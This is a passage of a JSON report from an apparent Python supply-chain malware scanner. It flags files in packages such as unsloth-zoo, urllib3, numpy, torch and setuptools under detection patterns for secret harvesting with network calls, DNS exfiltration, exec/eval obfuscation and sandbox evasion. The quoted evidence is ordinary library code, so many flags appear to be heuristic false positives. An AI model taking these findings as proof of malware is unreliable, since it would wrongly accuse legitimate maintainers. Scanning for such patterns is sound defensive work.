"evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:",
"evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/llama_cpp.py",
"check": "Creates archive with sensitive data AND makes network calls",
"severity": "CRITICAL",
"evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)",
"evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/llama_cpp.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)",
"evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926"
},
{
"package": "urllib3",
"file": "urllib3/response.py",
"check": "Enumerates filesystem AND makes network calls",
"severity": "CRITICAL",
"evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"",
"evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839"
},
{
"package": "urllib3",
"file": "urllib3/util/ssl_.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
"evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,",
"evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d"
},
{
"package": "attrs",
"file": "attr/_make.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)",
"evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61"
},
{
"package": "beartype",
"file": "beartype/_util/func/utilfuncmake.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)",
"evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed"
},
{
"package": "botocore",
"file": "botocore/vendored/six.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
"evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
},
{
"package": "cffi",
"file": "cffi/_cffi_gen_src.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L52: compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53: exec(compiled, globs, globs)",
"evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9"
},
{
"package": "cffi",
"file": "cffi/setuptools_ext.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)",
"evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402"
},
{
"package": "ddgs",
"file": "ddgs/dht/libp2p_client.py",
"check": "DNS exfiltration / tunneling patterns",
"severity": "HIGH",
"evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)",
"evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4"
},
{
"package": "dill",
"file": "dill/_dill.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')",
"evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129"
},
{
"package": "dill",
"file": "dill/source.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)",
"evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c"
},
{
"package": "dnspython",
"file": "dns/query.py",
"check": "DNS exfiltration / tunneling patterns",
"severity": "HIGH",
"evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM",
"evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971"
},
{
"package": "fastmcp-slim",
"file": "fastmcp/server/auth/providers/jwt.py",
"check": "Embedded cryptographic key + network calls (encrypted exfil pattern)",
"severity": "HIGH",
"evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))",
"evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8"
},
{
"package": "ipython",
"file": "IPython/core/debugger.py",
"check": "Anti-analysis/sandbox evasion + suspicious behavior",
"severity": "HIGH",
"evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})",
"evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4"
},
{
"package": "ipython",
"file": "IPython/core/debugger_backport.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L79: code = compile(source, \"<string>\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)",
"evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232"
},
{
"package": "ipython",
"file": "IPython/core/magics/execution.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"<magic-timeit-setup>\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"<magic-timeit-stmt>\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)",
"evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075"
},
{
"package": "ipython",
"file": "IPython/core/magics/execution.py",
"check": "Anti-analysis/sandbox evasion + suspicious behavior",
"severity": "HIGH",
"evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)",
"evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9"
},
{
"package": "jinja2",
"file": "jinja2/environment.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)",
"evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91"
},
{
"package": "matplotlib",
"file": "matplotlib/sphinxext/plot_directive.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L326: compile(text, '<string>', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)",
"evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff"
},
{
"package": "multiprocess",
"file": "multiprocess/tests/__init__.py",
"check": "Anti-analysis/sandbox evasion + suspicious behavior",
"severity": "HIGH",
"evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)",
"evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095"
},
{
"package": "networkx",
"file": "networkx/utils/decorators.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)",
"evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92"
},
{
"package": "numba",
"file": "numba/np/ufunc/array_exprs.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)",
"evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb"
},
{
"package": "numba",
"file": "numba/tests/support.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L874: __import__(modname)\nExec: L808: eval(co, globs, ns)",
"evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109"
},
{
"package": "numba",
"file": "numba/tests/test_firstlinefinder.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)",
"evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788"
},
{
"package": "numba",
"file": "numba/tests/test_funcdesc.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)",
"evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495"
},
{
"package": "numba",
"file": "numba/tests/test_import.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))",
"evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a"
},
{
"package": "numba",
"file": "numba/tests/test_np_functions.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L7118: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7118: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
"evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed"
},
{
"package": "numpy",
"file": "numpy/testing/_private/utils.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)",
"evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c"
},
{
"package": "numpy",
"file": "numpy/testing/_private/utils.py",
"check": "Anti-analysis/sandbox evasion + suspicious behavior",
"severity": "HIGH",
"evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)",
"evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
},
{
"package": "numpy",
"file": "numpy/testing/_private/utils.py",
"check": "Anti-analysis/sandbox evasion + suspicious behavior",
"severity": "HIGH",
"evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)",
"evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
},
{
"package": "numpy",
"file": "numpy/tests/test_public_api.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)",
"evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d"
},
{
"package": "pillow",
"file": "PIL/Image.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
"evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13"
},
{
"package": "protobuf",
"file": "protobuf-3.19.6-nspkg.pth",
"check": "Unusually large executable .pth (539 bytes)",
"severity": "HIGH",
"evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e",
"evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e"
},
{
"package": "pygments",
"file": "pygments/formatters/__init__.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)",
"evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0"
},
{
"package": "pygments",
"file": "pygments/lexers/__init__.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)",
"evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0"
},
{
"package": "scikit-learn",
"file": "sklearn/externals/array_api_compat/torch/__init__.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")",
"evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea"
},
{
"package": "scipy",
"file": "scipy/optimize/_optimize.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):",
"evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd"
},
{
"package": "setuptools",
"file": "pkg_resources/__init__.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)",
"evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4"
},
{
"package": "setuptools",
"file": "setuptools/_distutils/compilers/C/base.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L1287: __import__(module_name)\nExec: L1114: if lib_type not in eval(expected):",
"evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5"
},
{
"package": "setuptools",
"file": "setuptools/launch.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)",
"evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9"
},
{
"package": "setuptools",
"file": "setuptools/tests/config/test_pyprojecttoml.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L387: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",",
"evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6"
},
{
"package": "setuptools",
"file": "setuptools/tests/test_editable_install.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447: exec(finder, loc, loc)",
"evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d"
},
{
"package": "setuptools",
"file": "setuptools/wheel.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),",
"evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce"
},
{
"package": "six",
"file": "six.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
"evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
},
{
"package": "sympy",
"file": "sympy/external/importtools.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)",
"evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce"
},
{
"package": "sympy",
"file": "sympy/plotting/experimental_lambdify.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)",
"evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf"
},
{
"package": "sympy",
"file": "sympy/utilities/lambdify.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)",
"evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd"
},
{
"package": "tensorboard",
"file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
"check": "Python wheel ships large JS bundle (uncommon; manually review)",
"severity": "HIGH",
"evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
"evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
},
{
"package": "torch",
"file": "torch/_dynamo/bytecode_debugger.py",
"check": "Anti-analysis/sandbox evasion + suspicious behavior",
"severity": "HIGH",
"evidence": "Anti: L1052: self._old_trace = sys.gettrace() | L1053: sys.settrace(self._settrace_callback) | L1113: sys.settrace(self._old_trace)\nExec: L684: result = eval(arg, frame_globals, eval_locals) | L709: result = eval(cmd, frame_globals, eval_locals) | L717: exec(cmd, frame_globals, eval_locals)",
"evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b"
},
{
"package": "torch",
"file": "torch/_functorch/_aot_autograd/subclass_codegen.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)",
"evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67"
},
{
"package": "torch",
"file": "torch/fx/experimental/rewriter.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L44: code = compile(dest_ast, \"\", \"exec\")\nExec: L47: exec(code, globals_dict)",
"evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748"
},
{
"package": "torch",
"file": "torch/fx/graph_module.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)",
"evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15"
},
{
"package": "torch",
"file": "torch/package/package_importer.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L599: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)",
"evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512"
},
{
"package": "triton",
"file": "triton/runtime/interpreter.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)",
"evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711"
},
{
"package": "unsloth-zoo",
"file": "tests/test_compiler_dynamic_exec.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)",
"evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69"
},
{
"package": "unsloth-zoo",
"file": "tests/test_fused_forward_install.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)",
"evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa"
},
{
"package": "unsloth-zoo",
"file": "tests/test_mlx_trainer_internals.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L1158: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136: def eval(self):",
"evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf"
},
{
"package": "unsloth-zoo",
"file": "tests/test_upstream_pinned_symbols_trl_vllm.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"",
"evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55"
},
{
"package": "unsloth-zoo",
"file": "unsloth_zoo/compiler.py",
"check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
"severity": "HIGH",
"evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: 